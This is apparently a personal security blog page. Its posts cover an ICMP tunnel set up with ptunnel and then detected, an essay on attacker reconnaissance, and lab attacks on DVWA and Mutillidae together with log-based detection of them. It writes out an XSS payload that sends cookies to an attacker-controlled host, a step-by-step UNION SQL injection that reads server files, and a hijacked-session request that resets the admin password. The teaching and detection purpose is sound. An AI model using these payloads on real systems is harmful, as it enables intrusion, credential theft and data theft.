Sunday, May 7, 2017

Looking to expand your knowledge on Intrusion Detection or Incident Handling, Hacker Techniques and Exploits? Then come hangout with me at one of my upcoming classes.


Upcoming Courses Taught By Nik Alleyne
TypeCourse / LocationDateRegister

Community SANS
Community SANS Phoenix SEC504 Phoenix, AZ
Jul 24, 2017 - 
Jul 29, 2017

Community SANS
Community SANS Raleigh SEC504 Raleigh, NC
Aug 7, 2017 - 
Aug 12, 2017

Community SANS
New
Community SANS Scottsdale SEC503 Scottsdale, AZ
Oct 2, 2017 - 
Oct 7, 2017

Community SANS
New
Community SANS Ottawa SEC503 Ottawa, ON
Oct 16, 2017 - 
Oct 21, 2017

Community SANS
Community SANS Toronto SEC504 Toronto, ON
Nov 13, 2017 - 
Nov 18, 2017

Community SANS
New
Community SANS Pensacola SEC503 Pensacola, FL
Nov 27, 2017 - 
Dec 2, 2017
*Course contents may vary depending upon location, see specific event description for details.

ICMP Covert Channels: pTunnel – Network Forensics (Packet Analysis)

In the previous post, we looked at setting up pTunnel. Now let’s look to see how we might be able to detect this from the network as well as the host perspectives.

First up, we can leverage “netstat -nltp | grep 8000”.

Alternatively, we could have used “llsof -I | grep ptun”. This shows us all network communication for the “ptunnel” process.


From above, we see the ptunnel is running as root and has a PID of 5151. In this case I used “grep 8000” as I’m aware what port the client is listening on. However, if we didn't we would have to know what should be expected vs what should not on the end host. Now that we have this, now let’s look at our full packet capture to see if there is anything to help us understand what was going on over port 8000.

Before we do that, let’s take a look at our packet file to understand what is going on with it.

First up, let’s grab an overview of the protocol hierarchy by running “tshark -r pTunnel.pcap -n -z io,phs -q” at the command line.


From the image above, we see there are lots of TCP (HTTP) and ICMP traffic. Let’s first peak into to ICMP to see if this is all “regular” traffic. To achieve this let’s run “tshark -r pTunnel.pcap -n -Y 'icmp'”.

 

While this might look like nothing suspicious at first glance, the size of the requests and reply should be a cause of concern. By default, windows uses 32 bytes of data for ICMP echo request and that means I should expect 32 bytes of data in the response. On Linux (at least the SIFT workstation I am using right now) the default is 64 bytes of data. Looking at the packets above we see some packets as large as 1096 bytes. Additionally, there seems to be ICMP replies without any requests.

Let’s take a look into “one” of the echo request echo replies. Specifically lets look at the packet with ICMP sequence number 3 by doing “tshark -r pTunnel.pcap -n -Y 'icmp.seq == 3'”

This gave us a quick summary of what is involved.


Some standouts are the following:
1. 2 replies to 1 request
2.  Usual size of the requests
3. Reply with a size much larger than the request

Let’s dig into these packets, the one with size 1096 to see what is in this ICMP packet. to do this let’s add ‘-x” to the above tshark command such as “tshark -r pTunnel.pcap -n -Y 'icmp.seq == 3' -x”. This gives us:


Image edited for brevity

so we peaked into the ICMP packet to see what is being transmitted and clearly we see this is more than “regular” ICMP data.

For now there is no need to go much further with this post as we know the rest of the traffic is HTTP and we can analyze that further if we wish. However, for me at this time there is no need to as this was more about focusing on ICMP as a covert channel via ptunnel.

So a quick refresher of how this works.
1. Setup the proxy
2. Setup the client
3. Use you application to connect to the client
4. The client then communicates with the proxy via ICMP
5. The proxy then communicates with the destination via the port you specified to contact the destination on

Ok Folks that all I have for ptunnel.


ICMP Covert Channels: pTunnel – the setup

In many organizations, while specific ports are blocked so as to disallow Internet access, ICMP is allowed for troubleshooting purposes. As in, can I ping securitynik.blogspot.com? If successful, then yes I have successful Internet connectivity.

This seemingly simple exercise and its use of the ICMP protocol could instead be used as an opportunity to exfiltrate data or to use ICMP as a covert channel.

In this example, we have “2” (I put the two in brackets because it is actually one host, but we are simulating two) hosts that we are responsible for. One with IP “127.0.0.1” (client)  and the other with “10.0.2.15” (proxy). “127.0.0.1” operates as the pTunnel server and the proxy at “10.0.2.15”.

To ensure we can analyze the traffic so as to perform network forensics, let setup tcpdump to capture the traffic “tcpdump -vnn -I any icmp or tcp port 80 or tcp port 8000 -w pTunnel.pcap”.


With this filter, we will capture ICMP traffic between the client and the proxy and the HTTP traffic between the proxy and the destination we are going to.

Now that let’s setup the ptunnel proxy with “ptunnel -x securityNik -c lo -v 4 -f ptunnel.log”.

-x securityNik – This is the password to ensure only hosts using this password can leverage the tunnel
-c lo – The listening interface of the proxy
-v 4 – The verbosity level
-f ptunnel.log – The log file to write the messages to

Now that we have our proxy setup, let’s look at setting up the client by using “ptunnel -p 127.0.0.1 -lp 8000 -da nba.com -dp 80 -v 4 -f pTunnel-c.log -x securityNik”

-p 127.0.0.1 – Sets the proxy IP
-lp 8000 – The port which will be used by the application
-da nba.com – The designation host we would like to connect to
-dp80 – The destination port on the host we would like to connect to
-v 4 – The verbosity level
-f ptunnel-c.log – The log file to write the messages to

Now that all of this is in place, let’s open a browser and connect to “10.0.2.15:8000”. If all goes well, this should open up “nba.com”



Looks like all went well.

Covert channels are obviously a big concern for most organizations. However, detecting some of these activities can prove difficult without proper baselines or knowing what normal vs abnormal looks like.

If we look at the ptunnel proxy log, we see the following as part of the setup process …


… and here we see from the client perspective


In the next post, we will look at analyzing this from the network forensics (packet analysis) perspective.

References:
Ping Tunnel
Ping Tunnel Manpage
Firewall Evasion with ICMP (Ping Tunnel)

Tuesday, March 28, 2017

The importance of reconnaissance to the targeted threat actor

A few days ago, I was in a conversation with a colleague who was explaining his understanding of the Cyber Kill Chain. This was not the Lockheed Martin Model (Hutchins, Cloppert, & Amin) but one that he envisioned. In his model, he did not place much emphasis on reconnaissance. As a result, I asked why? His argument was that while he understands the need for reconnaissance and that it is performed, he does not see it as important. While I respect his opinion, my belief is that the facts shows that reconnaissance is not just important but extremely important. Thus consideration must be given to ways an organization can reduce the amount of information which can be learned about it, so as to reduce the harm which can be caused to it.

To the script kiddie, reconnaissance means nothing. Script kiddie focuses on the low hanging fruits and does not add much focus towards strategy but are more tactical. However, to the targeted attacker, it means everything as their focus is more strategic and less tactical. Targeted attackers are more concerned about long term gains rather than short term. It is the difference between whether or not the attacker would spend 10 minutes or 10 years in your environment without being detected.

The importance of reconnaissance can be seen and even further understood from Symantec’s “Advanced Persistent Threats: A Symantec Perspective”. In this document Symantec stated that a large number of researchers may spend months studying their targets, gaining familiarity with the systems, processes and the people, including vendors and partners (Symantec.com). Assigning a large number of researchers to any task is no easy effort and emphasizes the importance of this phase in a targeted attack.

More importantly, for nation state threat actors, reconnaissance is even more important as their objective is to strike with precision and not to have mass impact but targeted impact. To further emphasize the importance of reconnaissance, we can look at these through the lens of Stuxnet (Symantec, 2011), Sony hack (BISSON, 2015), Darkhotel (KasperskyLab, 2014), Red October (GReAT, 2013), RSA attack (RSA Fraud Action Research Labs, 2011), Operation Aurora (STEWART, 2010), Titan Rain (Norton-Taylor, 2007), HBGary (BRIGHT, 2011). There also many others which can be considered. However, let’s pick on a Darkhotel, HBGary and Stuxnet.

Starting off with Darkhotel, this threat actor’s activity is tied to specific hotels and business centers Wi-Fi and physical connections. Additionally, spear-phishing is used against their targets (KasperskyLab, 2014). This attack targets specific victim categories such as corporate executives, high-tech entrepreneurs even those that may be situationally aware. Once connected to the hotel’s Wi-Fi, the guest would see what purports to be updates for their software. Some of the software targeted were from vendors such as Adobe, Microsoft, Google, etc. which are selectively distributed to targeted individuals (KasperskyLab, 2014). What is also interesting about this is that the first stage of the malware helps the attackers to learn the significance of the guest which contributes to the determination of whether or not a more advanced malware should be download (KasperskyLab, 2014).
Clearly, a significant amount of reconnaissance would have had to been done so as to be able to attack the right targets in the Darkhotel example. This can also be seen from the fact that even though guests were require to use their last name and room number to access the Wi-Fi, only some guests received the Darkhotel package (KasperskyLab, 2014). This is either a strange coincidence or a clear example of the aim of infecting specific targets or maybe just inconsistencies in the way the packages were deployed. If it was the aim of infecting specific targets, then great effort would have had to be made to initially learn about those targets.

Looking at HBGary example, their hbgaryfederal.com Content Management System (CMS) was vulnerable to SQL injection (BRIGHT, 2011). How did Anonymous know that it was vulnerable to SQL injection? The only way to do this would have had to be to perform reconnaissance. In this case, the reconnaissance was performing the various tests for SQL Injection flaws. On a side note and more to the focus of the significance to reconnaissance, according to (ANDERSON, 2011), the CEO of HBGary Aaron Barr did a presentation at a closed Department of Justice (DOJ) conference on leveraging specific techniques to target collect and exploit targets with a 100% success leveraging social media. More specifically, Barr had proposed a talk titled “Who needs NSA when we have social media” (ANDERSON, 2011). This shows the importance of social media’s role in reconnaissance. Point being it shows the importance of reconnaissance, matters not what the medium is used to perform it.

The final example we will look at is Stuxnet. Now without a doubt, reconnaissance had to have played an extremely large role in this attack. The focus of Stuxnet was to target organizations in Iran which were believed to be operating Iranian nuclear facilities (Symantec.com). For this attack to be successful, the attackers had to perform reconnaissance to the extent that they had to learn the schematics of each Programmable Logic Controller (PLC) as each one is configured in a unique manner. Once this schematics was known, each feature of Stuxnet was implemented for a specific reason (Symantec, 2011). How more targeted could this have been? Clearly this is reconnaissance and had great significance.

I think I’ve taken quite a few example to demonstrate the importance of reconnaissance to the targeted attacker. While we need to ensure our infrastructures are protected from the script kiddies, we need to take even greater measures as it relates to protecting it from the targeted attacker.

References

ANDERSON, N. (2011, 02 09). How one man tracked down Anonymous—and paid a heavy price - Aaron Barr, CEO of security firm HBGary Federal, spent a month tracking down …. Retrieved from arstechnica.com: https://arstechnica.com/tech-policy/2011/02/how-one-security-firm-tracked-anonymousand-paid-a-heavy-price/

BISSON, D. (2015, April 22). Sony Hackers Used Phishing Emails to Breach Company Networks. Retrieved from tripwire.com: https://www.tripwire.com/state-of-security/latest-security-news/sony-hackers-used-phishing-emails-to-breach-company-networks/

BRIGHT, P. (2011, 2 15). Anonymous speaks: the inside story of the HBGary hack - After interviews with the hackers from Anonymous who invaded HBGary Federal …. Retrieved from https://arstechnica.com: https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/2/

GReAT. (2013, January 14). “Red October” Diplomatic Cyber Attacks Investigation. Retrieved from securelist.com: https://securelist.com/analysis/publications/36740/red-october-diplomatic-cyber-attacks-investigation/

Hutchins, E. M., Cloppert, M. J., & Amin, R. M. (n.d.). Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains. Retrieved from lockheedmartin.ca: http://www.lockheedmartin.ca/content/dam/lockheed/data/corporate/documents/LM-White-Paper-Intel-Driven-Defense.pdf

KasperskyLab. (2014). THE DARKHOTEL APT A STORY OF UNUSUAL HOSPITALITY. Kaspersky Lab. Retrieved from securelist.com: https://securelist.com/files/2014/11/darkhotel_kl_07.11.pdf

Norton-Taylor, R. (2007, September 5). Titan Rain - how Chinese hackers targeted Whitehall. Retrieved from theguardian.com: https://www.theguardian.com/technology/2007/sep/04/news.internet

RSA Fraud Action Research Labs. (2011, April 01). ANATOMY OF AN ATTACK. Retrieved from blogs.rsa.com: http://blogs.rsa.com/anatomy-of-an-attack/

STEWART, J. (2010, January 19). Operation Aurora: Clues in the Code. Retrieved from secureworks.com: https://www.secureworks.com/blog/research-20913

Symantec. (2011). W32.Stuxnet Dossier. Symantec. Retrieved from symantec.com: https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/security-response-w32-stuxnet-dossier-11-en.pdf

Symantec.com. (n.d.). Advanced Persistent Threats: A Symantec Perspective. Retrieved from symantec.com: https://www.symantec.com/content/en/us/enterprise/white_papers/b-advanced_persistent_threats_WP_21215957.en-us.pdf

Sunday, February 5, 2017

Beginning Web Application: Testing Session Hijacking - DVWA

This post we look to take advantage of the trust a website has with a user's browser. An attacker may be able to leverage social engineering techniques to trick a user of an application into executing actions of the attacker choosing. If the user has admin level privileges, this vulnerability may result in a compromise of the entire web application.

In this post, we will complete a stored XSS attack against DVWA application to obtain "admin" cookie when visits are made to this page and then use that cookie to change the "admin" account of Dam Vulnerable Web App (DVWA) from another device. With stored XSS, whenever a user visit the page in question, the malicious code would be executed and the user's cookie would be sent to the remote server listening for the connections.

Once again, in this post we will leverage “netcat” to receive the cookie.

First up, let's embed the following code “<script>window.location="http://10.0.0.101/stealcookie.txt?"+document.cookie</script>” in the web page of the DVWA Guestbook.



Whenever a user visit the guestbook, the page loads and he or she sees ...


... and as can be seen above, nothing looks suspicious.

However, at the remote end the attacker sees ...


As show above, the attacker now has information which is helpful such as the site which sent the information along with the cookie, etc.

Now let's assume, the attacker knows how this app works and thus wants to change the "admin" account so that he or she can login. As a result, the attacker does the following.

1. Connect to the remote site using netcat (nc)
2. Crafts a “HTTP GET” request for "/dvwa/vulnerabilities/csrf/?password_new=SecurityNik&password_conf=SecurityNik&Change=Change", changing the password to "SecurityNik" so that he or she can login to the site directly.

3. Set the Host header as: "10.0.0.103"
4. Set the cookie header as "security=low; PHPSESSID=7rl0ua40n463bt6kh1r51j72h7"

Once we send along our request as crafted below ...


... we see the server responds with a "200 OK".


... and as we look into the returned text, we see ...


Look like we have managed to change the “admin” password. I’m sure there is more we can do now that we have credentials.

At this point if the application did not logout the user and ask to reauthenticate with the new credentials and if it supports multiple sessions, we can then authenticate with the new credentials and do whatever we want as that user - in this case admin. Obviously, all our activities at this point would be tied back to the malicious user's IP. However, that is not the focus of this post. The objective is to show how we can steal the cookie and reuse it.

Let's now try to use the new credentials


Once "Login" is clicked we see ...


Voila! Looks like this worked well.

What Works in remediating this vulnerability?


Reference:
OWASP Session Hijacking
Wikipedia Session Hijacking

Beginning Web Application Testing: Detecting SQL Injection - Mutillidae





SQL Injection like most attacks can be detected via logs, packets or once again from the user’s browser cache as well as other sources.

Once again, let’s get down to detecting this.

Since we already know that this attack is leveraging the “username” parameter, let’s target our detection on this parameter so as to make best use of our time.

cat --number sqlInjection.log | grep "\&username\=.*?" --colour=always --only-matching | cut --fields 2 --delimiter "=" | cut --fields 1 --delimiter "&" | sort | uniq -c | sort --numeric --reverse | more


While the above shows shows the SQL injections, it does not really say whether these were successful. This is due primarily for the fact that these events are stored in Apache’s “access.log” and uses the HTTP “GET” method. Considering we enabled Apache’s “mod_dumpio” in the post on Command Injection , we can now leverage Apache’s “error.log” to validate whether these were successful or not.

Let’s use the following one liner “cat --number sqlInjectionError.log | grep --perl-regexp "admin\'.*?\s+\-\-|\;\.[0-9]*\s+.*?\.|or\s+1\=1\s+\-\-|\s+ReflectedXSSExecutionPoint\=\"1\"\>.*?\<" --colour=always | more” against our logs to identify whether or not any data was returned.Basically this will be used for the entire analysis.


The above shows that the SQL “’ or 1=1 – ” was successful. In this case 24 records were returned and we can see a snapshot of some of these above.

The image below shows the query and results for the current database version.


The image below shows a snapshot of the dump of all the tables and columns.
SQL injection dump tables

The following table shows the result returned showing the “current_user” of the database.
SQL injection - current user

The following shows the “database” which the application is accessing.


And last but not least before we wrap this up, a look at the results from the attempt to access “CorpSecrets.txt



That’s it for detecting SQL injection. See you in the next post for Session Hijacking.

Beginning Web Application Testing: SQL Injection - Mutillidae

In this post, we will take a look at SQL injection and will use Mutillidae (NOWASP) for our learnings. SQL injection attacks are typically created as a resulted of dynamic database queries that include user supplied input.

Specifically, we will use  "Mutillidae -> OWASP 2013 -> A1 - Injection (SQL) -> SQLi - Extract Data -> User Info (SQL)”.



First on our agenda is to test the page to see if the possibility exists for an SQL injection. To do this, let's use the "tic" (') character to see what we can learn.


Hmmm! From the 'tic' we were able to learn a reasonable amount of information about the database which supports this application. What are some of the things we have learned? Let's take 2 things.

1. "File" - We can see the entire path of the file which is handling this error. From looking at it there is additional information which can be inferred, such as this is more than likely a Microsoft Windows device on which the server is running.

2. From the "Message" we can see that this is a “MySQL” database. Why is this important? The database in the backend will determine the type of interaction we can have with it via the application.

Let's expand on our "' with "' or 1=1 -- " (note the space after the 2 hyphens. This is needed for MySQL comments)


Whoopsy!! Looks like we dumped the entire table above.

Looks like we are making progress! Let's see what else we can do. How about we try to determine the database version? For this let's try to leverage "admin" account to reduce the number of rows which will be returned. So our query will now look like "admin' -- " (do remember there is a space after the hyphens)

Trying to get the database version, let's try "admin' UNION SELECT @@version -- "


Bummer!! So we got an error above stating "error: The used SELECT statements have a different number of columns". Ahh man, so now we need to ensure the number of columns are balanced. Let's try to learn the number of columns in this table. Let's use "admin' UNION SELECT NULL -- "

When we run the above we got the same error again about the number of columns. So let's build on this to find out the correct number of "NULL"s we need to use here.

Next try ...
"admin' UNION SELECT NULL -- "
... and then
"admin' UNION SELECT NULL,NULL -- "
... and then
"admin' UNION SELECT NULL,NULL,NULL -- "
... and then
"admin' UNION SELECT NULL,NULL,NULL,NULL -- "
... and then
"admin' UNION SELECT NULL,NULL,NULL,NULL,NULL -- "
... and then
"admin' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL -- "
... and then Finally
"admin' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL -- "


From above, we see that rather than the error, we now have columns reported as 2.

Now that we have our number of columns, let's try to get the database version ... again ...

We use "admin' UNION SELECT NULL,@@version,NULL,NULL,NULL,NULL,NULL -- "

Bummer!! Nothing was returned, we got the same screen as the one with 2 success.

Let's look at each columns to determine which ones will accept our strings or at least which ones produces the "username", "password" and "signature". To figure this out, let's put some strings in each null field.

"admin' UNION SELECT 'Column-1','Column-2','Column-3','Column-4','Column-5','Column-6','Column-7' -- "


From above we see that Columns 2, 3 and 4 are the ones which we can use with our strings. Let's revisit that attempt to get the database version. We will also replace the "Column-X" with NULLs

"admin' UNION SELECT NULL,@@version,NULL,NULL,NULL,NULL,NULL --  "


Good progress so far. We have now managed to obtain the database version.

Let's continue! How about we dump the database schema. so we can see a list of tables with their associated names, etc.

"admin' UNION SELECT NULL,table_name,column_name,NULL,NULL,NULL,NULL FROM information_schema.columns -- "


Now that we have gotten a dump of the database structure (note image above is a snapshot), we can now look at the other tables, to see where we may be able to extract data of relevance.

Going through the list we see the "accounts" table. This list contains the user information which we were able to obtain at the beginning of the tests. Let's dump table "accounts" to learn more about it.

"admin' UNION SELECT NULL,table_name,column_name,data_type,NULL,NULL,NULL FROM information_schema.columns WHERE table_name = 'accounts' -- "


We see there are additional fields such as "cid", "is_admin", "firstname", and "lastname". (note image above is a snapshot)

Let's see what we can learn about "is_admin".

"' UNION SELECT NULL,cid,username,is_admin,NULL,NULL,NULL FROM accounts -- "


Looks like the value for "is_admin" is either "TRUE" or "FALSE". From this we have a list of admin users in the database.

Let's take a look to see which user the application is accessing the database as.

"admin' UNION SELECT NULL,current_user(),NULL,NULL,NULL,NULL,NULL -- "


Very interesting! This application is running as root ...

.. and what database are we connected to?

"admin' UNION SELECT NULL,database(),NULL,NULL,NULL,NULL,NULL -- "

Let's now try to read a file from the server's filesystem ...

admin' UNION SELECT NULL,LOAD_FILE('..\\..\\..\\..\\WINDOWS\\system32\\drivers\\etc\\hosts'),NULL,NULL,NULL,NULL,NULL -–


As we can see we managed to load the contents of the "WINDOWS\\system32\\drivers\\etc\\hosts" file.

Ok! let's make it a bit more interesting. How about if we knew of a specific file which had corporate secrets? Let's grab that file.

admin' UNION SELECT NULL,LOAD_FILE('..\\..\\..\\..\\Secret\\CorpSecrets.txt'),NULL,NULL,NULL,NULL,NULL --

How to secure your organization from SQL injection
We did a lot in terms of demonstrating the effects of SQL injection. However, understanding how we protect ourselves from this is just as important.

The guidance at this time based on my understanding and according to w3schools is "The only proven way to protect a web site from SQL injection attacks, is to use SQL parameters." SQL parameters are values that are added to the SQL Query at execution time in a more controlled manner.

The guidance from OWASP is that one out of 3 options are available. The first and primary option is the use of prepared statements with parameterized queries which is similar to the guidance of W3Schools. Alternatively, there can be usage of stored procedures or finally the escaping of all user supplied input. Escaping of all user supplied input should only be used as a last resort when you are unable to use either parameterized queries or stored procedures as there is no guarantee that it will prevent all SQL Injections in all situations. OWASP also provides additional guidance such as enforcing of least privileges in which you restrict the level of access your application accounts have to the database and white list validation.

Parameterized queries allows the database to distinguish between code and data, regardless of what the user inputs. Prepared statements ensure that even if  SQL commands are inserted by an attacker, they are unable to change the intent of the query.

As it relates to OWASP option 2, stored procedures, OWASP states that this is not always safe from SQL Injection. However, when implemented safely it can have the same effect of parameterized queries.

References:
https://www.owasp.org/index.php/OWASP_Mutillidae_2_Project
http://www.irongeek.com/i.php?page=mutillidae/mutillidae-deliberately-vulnerable-php-owasp-top-10
https://sourceforge.net/projects/mutillidae/
http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
https://en.wikipedia.org/wiki/SQL_injection
http://www.securiteam.com/securityreviews/5DP0N1P76E.html
https://msdn.microsoft.com/en-us/library/ff648339.aspx
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
http://www.w3schools.com/Sql/sql_injection.asp
https://dev.mysql.com/doc/connector-net/en/connector-net-tutorials-stored-procedures.html
https://www.mssqltips.com/sqlservertutorial/3212/get-free-sql-tips/
https://dev.mysql.com/doc/connector-net/en/connector-net-tutorials-parameters.htmlhttps://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet
http://stackoverflow.com/questions/1894026/examples-of-parameterized-queries
http://dev.mysql.com/doc/refman/5.7/en/sql-syntax-prepared-statements.html
http://php.net/manual/en/pdo.prepared-statements.php
https://blogs.msdn.microsoft.com/sqlphp/2008/09/30/how-and-why-to-use-parameterized-queries/
https://blog.codinghorror.com/give-me-parameterized-sql-or-give-me-death/
http://www.unixwiz.net/techtips/sql-injection.html
https://msdn.microsoft.com/en-us/library/ms190782.aspx
https://docs.oracle.com/javase/tutorial/jdbc/basics/storedprocedures.html

Beginning Web Application Testing: Detecting OS Command Injection - DVWA

As stated in the previous post, in order to be able to log web traffic via “POST” method and at least from Apache perspective, we needed to enable “mod_dumpio”. Take a look at the previous post for guidance on how to perform that configuration.

Let’s get into the meat of things right away.

First it is important to note that this logging is being done in “debug” mode. As a result there is a large volume of data in these logs for the investigation we need to do. So let’s focus on what is important or to look at it another way, let’s focus on our indicator here which is IP address “10.0.0.103”.

Using “cat CommandInjection.logs | grep "mod_dumpio" | grep --perl-regexp "10.0.0.103" --colour=always | more” we see the first snapshot of our input which was “-n+1+-l+4000+10.0.0.103” when encoded. The image below show both the input and output for this first activity.


While going through the log this way may prove helpful, for demonstration purposes and in the interest of time, let’s look at it from a different perspective.

Let first look at all the input which came in and we can do this via this one-liner “cat --number CommandInjection.logs | grep --perl-regexp "dumpio_in" | grep --perl-regexp ":\s+ip=.*?\&" --only-matching | sort | uniq --count | sort --numeric --reverse”.

From above we see there were a total of 16 requests which came in. One of them occurring 4 times, another 2 times and the rest 1 time.

The same method which was used to decode the logs in the blog entry on detecting Cross Site Scripting (XSS) can be used to decode these logs. Alternatively, we could simply copy this text, paste it into something like “Notepad++” or another decoder tool of your choice.

The image below shows “Notepad++” URL decoding of the input.
URL Decode - Command Injection

Now that we have the input, let’s see if and or what our server returned.

Starting off with the attempt to kill the “VBoxService.exe”, let’s use “grep” to make this easier for us to understand if our server returned anything. Using “
cat --number CommandInjection.logs | grep --perl-regexp "\s+The\sprocess.*?\<|taskkill.*?\&" --colour=always” we get a clear view that the command was executed successfully as shown below. Thus the process was terminated.
 

Let’s now take a look at the attempt to add the “webHack” user to the “Administrators” group. Once again, let’s use “grep” to make this easier via the following “cat --number CommandInjection.logs | grep --perl-regexp "net+.*?\&|The\s+command.*?\." --colour=always | more”.



Above we see the user “webHack” is successfully added to the system. Next step is to validate whether or not the user actually got created. The image below shows it was successfully created and this was confirmed via “cat --number CommandInjection.logs | grep --perl-regexp "net\+.*?\&|The\s+command.*?\.|webHack" --colour=always | more”.


Next we see the user being successfully added to the “Administrators” group.


Finally we see the validation that the user was successfully added. This can be seen via “
cat --number CommandInjection.logs | grep --perl-regexp "net\+.*?\&|The\s+command.*?\.|webHack" --colour=always | more

command injection - validate user is an administrator


Ok then! That’s it for detecting command injection. On to the next post SQL Injection.